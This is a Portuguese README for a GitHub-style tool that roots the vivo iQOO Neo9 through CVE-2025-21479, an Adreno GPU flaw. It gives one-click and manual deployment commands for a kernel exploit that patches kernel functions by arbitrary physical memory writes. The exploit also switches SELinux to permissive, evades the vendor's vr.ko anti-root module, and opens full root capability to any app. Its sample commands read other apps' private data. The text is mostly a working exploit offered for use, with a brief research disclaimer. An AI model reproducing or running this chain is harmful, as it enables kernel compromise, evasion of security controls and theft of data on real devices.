Neo9Root

Ferramenta Caps-Root para iQOO Neo9 (PD2338C) sem desbloqueio — Esquema de escalonamento de privilégios por escrita física arbitrária baseado em CVE-2025-21479 (Adreno GPU SDS)

Sem necessidade de desbloquear o Bootloader, sem flashar, sem Magisk. Através da vulnerabilidade de GPU, obtém escrita física arbitrária em nível de kernel; após fazer patch em funções críticas do kernel, permanece como daemon root com capacidades completas (capabilities de 41 bits), fornecendo capacidade root para rootc / su.

Recurso principal: euid mantido em 2000 para contornar a detecção anti-root vr.ko da vivo (euid=0 aciona reinicialização do dispositivo); a capacidade root é equivalente a uid=0, mas a identidade do processo é segura.

✨ Recursos

• 🔓 Sem desbloquear o bootloader — não toca em bootloader / partições / dm-verity, estado totalmente em RAM, limpo após reiniciar
• 🧬 Root real em nível de kernel — CapEff: 000001ffffffffff (Capacidades completas de 41 bits), não é mascaramento em nível de aplicação
• 🛡️ Contorna o anti-root da vivo — euid=2000 é mantido, a detecção do vr.ko falha, zero travamentos no dispositivo
• ⚙️ Daemon residente — fila de arquivos + protocolo Base64, execução de comandos sem dependências, saída integralmente transmitida
• 🔌 Camada de compatibilidade — wrapper su, MT Manager / Termux podem chamar diretamente
• 📦 Zero persistência — todos os patches estão na RAM, reinicialização restaura automaticamente o estado limpo

📱 Dispositivos suportados

⚠️ A exploração depende do layout específico deste kernel (offsets de símbolos, recurso VIVO_VMET_BREAK_KMI, comportamento do vr.ko), outros dispositivos/kernels exigem nova adaptação.

🚀 Início rápido

Requisitos de ambiente

• Windows + adb (ou adb em qualquer plataforma; os scripts são em PowerShell)
• Habilitar depuração USB no celular

Implantação com um clique (recomendado)

# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1

O script automaticamente: envia o pacote de três arquivos → reinicia para obter a janela fria → executa o exploit em várias rodadas (taxa de acerto ~50%/rodada) → daemon pronto → verificação.

Implantação manual

# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"

# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...

# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"

# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功

🛠️ Uso

rootc — Executar qualquer comando root

# 简单命令
adb shell "/data/local/tmp/rootc id"

# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"

su — Compatível com MT Manager / Termux

su -c "ls /data/adb"          # 任意 root 命令
su -c "chown 0:0 /path/file"  # 文件属主改为 root:root
su                            # 交互模式 (stdin 逐行)

Configuração do Termux: na primeira utilização, execute (com permissão root):

# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"

MT Manager: Configurações → ROOT → caminho su personalizado → /data/local/tmp/su

u0 — Operações de root real (euid=0)

Os ambientes rootc/su mantêm deliberadamente euid=2000 (para evitar a detecção anti-root do vr.ko). Porém, drivers de algumas interfaces do kernel (como /proc/vrp, alguns nós sysfs) verificam current_euid()==0; mesmo com todas as capabilities não passam → nesse caso, use u0 para se elevar a root real através da CAP_SETUID do ambiente rootd:

# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"

# 用法: u0 <绝对路径程序> <参数...>   (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ...   ← 真 root 会话

• Seguro na prática: setuid(0) não aciona o fatal do vr.ko (o processo principal do rootd permanece vivo com uid=0 por longo tempo; processos uid=0 não estão na lista de eliminação)
• Limitação confirmada: /proc/vrp ainda retorna EPERM com uid=0 + todas as capabilities (o driver vrp possui verificação ativa de permissão, não é DAC/SELinux — engenharia reversa em andamento); insmod com uid=0 também aciona a reinicialização do dispositivo (a detecção de carregamento de módulo não verifica o uid do chamador)
• Veja o método de compilação em docs\u0_说明.md

Acesso de usuário comum (app / permissão inferior à do shell) a /data/local/tmp

/data/local/tmp por padrão é drwxrwxrwt (1777, proprietário shell) — qualquer usuário pode ler/gravar na camada DAC. O que realmente bloqueia usuários comuns (domínio untrusted_app) é o SELinux (a política nega ao domínio de apps o acesso ao rótulo shell_data_file):

# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"

# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
#    ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
#       (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
#       物理写 permissive (run_selinux_rmw, 已内置在部署流程)

# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id        # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力

• Apps podem executar rootc (diretório 1777 + arquivo 755) → usuários comuns obtêm capacidade root completa
• Limitação: após reiniciar, o permissive deixa de valer → o acesso de usuários comuns volta a ser restrito (shell_data_file acessível apenas ao domínio shell); é restaurado após nova implantação
• Para apenas ler arquivos: use su -c "cat /data/local/tmp/xxx > /sdcard/xxx" como intermediário (apps acessam /sdcard sem problemas)

Verificação comum

su -c id                                        # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status"           # 000001ffffffffff = 全能力
su -c "ls /data/adb"                            # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x"   # root 专属操作
su -c "head -5 /proc/iomem"                     # 内核物理内存布局
su -c "ls /data/data/<任意包名>"                 # 任意 app 私有数据

🔬 Princípio

CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
        │  特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
        ▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
        │
        ├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
        │        → exec 后保留 effective caps (普通命令也能带全 caps)
        ├──▶ patch kptr_restrict = 0
        │        → /proc/kallsyms 全地址可见
        └──▶ patch vhangup stub (MODE=10 提权)
                 → fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
                 → fork 常驻 daemon (文件队列服务)
        │
        ▼
rootc / su  ──(文件队列 + B64)──▶  daemon ──▶ 任意 root 命令 (全 caps)

Por que euid=2000? O kernel da vivo inclui o módulo anti-root vr.ko: se detectar um processo fora do domínio vrp com cred->euid==0, aciona um fatal (reinicialização do dispositivo). A elevação MODE=10 deliberadamente não altera o euid, apenas escreve fsuid/fsgid + capabilities — o vr.ko não é acionado, mas todas as verificações capable() do kernel são aprovadas (capacidade root real).

📂 Estrutura do projeto

neo9_root/
├── README.md                 # 本文档
├── LICENSE                   # MIT
├── exploit/                  # 漏洞利用
│   ├── exploit_vivo.c        #   源码 (STUB_MODE=10 + daemon + cap_bprm patch)
│   ├── exploit_vivo_neo9     #   编译产物 (aarch64 musl 静态)
│   └── stubs/                #   提权 stub 汇编
├── client/                   # 客户端
│   ├── rootc.c / rootc       #   root 命令客户端 (文件队列 + B64)
│   ├── su                    #   su 兼容包装器 (MT/Termux)
│   ├── u0.c / u0             #   euid=0 提升工具 (真 root 操作, 见"u0"章节)
│   └── shim.c / shim.so      #   LD_PRELOAD kptr_restrict 重定向 (ksud insmod 链路)
├── scripts/                  # 部署脚本
│   ├── run_rootc_loop.ps1    #   推荐: 多轮自动部署
│   └── run_root_final.ps1    #   一键部署
├── tools/                    # 内核/模块逆向分析脚本 (vr.ko 等)
├── docs/                     # 调试记录
│   ├── DEBUG_RECORD.md       #   完整调试记录 (崩溃根因链)
│   └── EXPLOIT0_FIX.md       #   exploit0 修复记录
└── archive/                  # 失败方案参考 (setuid 方案等)

⚠️ Limitações conhecidas e avisos

• Perde efeito ao reiniciar: todos os patches estão em RAM, é necessário reimplantar após reinicialização
• Janela fria: o acerto do exploit depende de execução <3min após o reboot; os ~28 primeiros candidatos no loop de candidatos do processo são a janela normal da GPU; depois a GPU pode travar → use run_rootc_loop.ps1 para várias tentativas
• Queda do adb ≠ travamento: sob alta carga da GPU, o adbd pode ficar sem resposta e causar queda do adb; confirme com cat /proc/uptime (uptime crescendo e tela normal = dispositivo não travou)
• id mostra uid=2000: veja a seção de princípios; comportamento de projeto; as capabilities equivalem a root
• mount / é limitado pelo fstab; /system é somente leitura (erofs + dm-verity), não é possível modificar de forma persistente
• Permissões de /data/local/tmp: em cenários Termux/usuário comum, é necessário chmod 1777 (veja a seção "Acesso de usuário comum"); o SELinux precisa permanecer permissive (definido na implantação do exploit), não use setenforce 0 (detecção do vr.ko)

❓ FAQ

P: Isso é root real? R: Sim. Todas as verificações capable() do kernel (CapEff totalmente ativo, chown 0:0, leitura de /proc/iomem, leitura de dados de qualquer app) passam — o kernel reconhece que você tem capacidade root; apenas o número do uid é 2000.

P: Pode brickar? R: Não. Não há escrita em partições nem modificações persistentes; o pior caso é a GPU travar, e uma reinicialização restaura tudo.

P: Suporta outros modelos? R: É necessário readaptar (o layout do kernel, os offsets de símbolos e o comportamento do vr.ko são exclusivos do PD2338C; se for um vivo iQOO Neo9 com sistema OriginOS 5, pode tentar).

📜 Aviso legal

Este projeto é apenas para pesquisa de segurança e uso em dispositivos pessoais. Quaisquer consequências decorrentes do uso desta ferramenta (incluindo, mas não se limitando a danos ao dispositivo, perda de dados, perda de garantia) são de responsabilidade do usuário. Respeite as leis e regulamentos locais e não o utilize para fins ilegais.

🙏 Agradecimentos

• zhuowei/cheese — estrutura original do exploit de GPU
• sarabpal-dev/cheese-cake — implementação estendida
• Pesquisas públicas de Type010 / CyberMeowfia e outros — referência de ideias

📄 Licença

MIT